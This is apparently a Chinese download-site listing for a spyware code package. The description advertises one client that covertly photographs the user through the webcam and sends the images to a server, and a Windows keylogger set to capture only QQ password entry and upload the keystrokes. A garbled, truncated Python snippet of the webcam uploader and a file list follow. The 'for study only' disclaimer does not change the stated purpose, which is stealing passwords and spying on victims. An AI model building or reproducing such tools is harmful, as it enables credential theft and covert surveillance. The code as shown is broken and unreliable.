资源简介
1.文件中有两个客户端的代码。
(1)一个客户端是利用摄像头拍照,然后发送到sever中去
(2)另一个客户端功能是:监听windows中的键盘事件(代码中已经写死,过滤掉其他无关紧要的进程的键盘事件,只监听输入qq密码时的事件)将记录的键盘数据发送到server端。
(3)客户端与服务端采用Socket的方式通信。
(4)键盘监听使用的时Windows API
最后请勿用作非法用途,仅供个人学习参考。
代码片段和文件信息
from cv2 import VideoCapture
from cv2 import imwrite
import socket
import os
import struct
import json
ip_port = (“127.0.0.1“ 54321)
BUFFER = 1024
SK = socket.socket()
SK.connect(ip_port)
head = {“filename“:“{0}“.format(os.getcwd())
“filepath“:““
“filesize“:““}
def put_picture(filename):
file_path = os.path.join(head[“filepath“] filename)
file_size = os.path.getsize(file_path)
head[“filepath“] = file_path
head[“filename“] = filename
head[“filesize“] = file_size
json_head = json.dumps(head)
bytes_head = json_head.encode(“utf-8“)
pack_len = struct.pack(“i“ len(bytes_head))
SK.send(pack_len)
SK.send(bytes_head)
with open(file_path “rb“) as f:
while file_size:
if file_size > 属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2020-05-13 18:41 eg\
文件 1208 2020-01-04 22:31 eg\CameraTest.py
文件 5611 2020-01-04 20:06 eg\main.py
文件 1094 2020-01-04 22:25 eg\server.py
评论
共有 条评论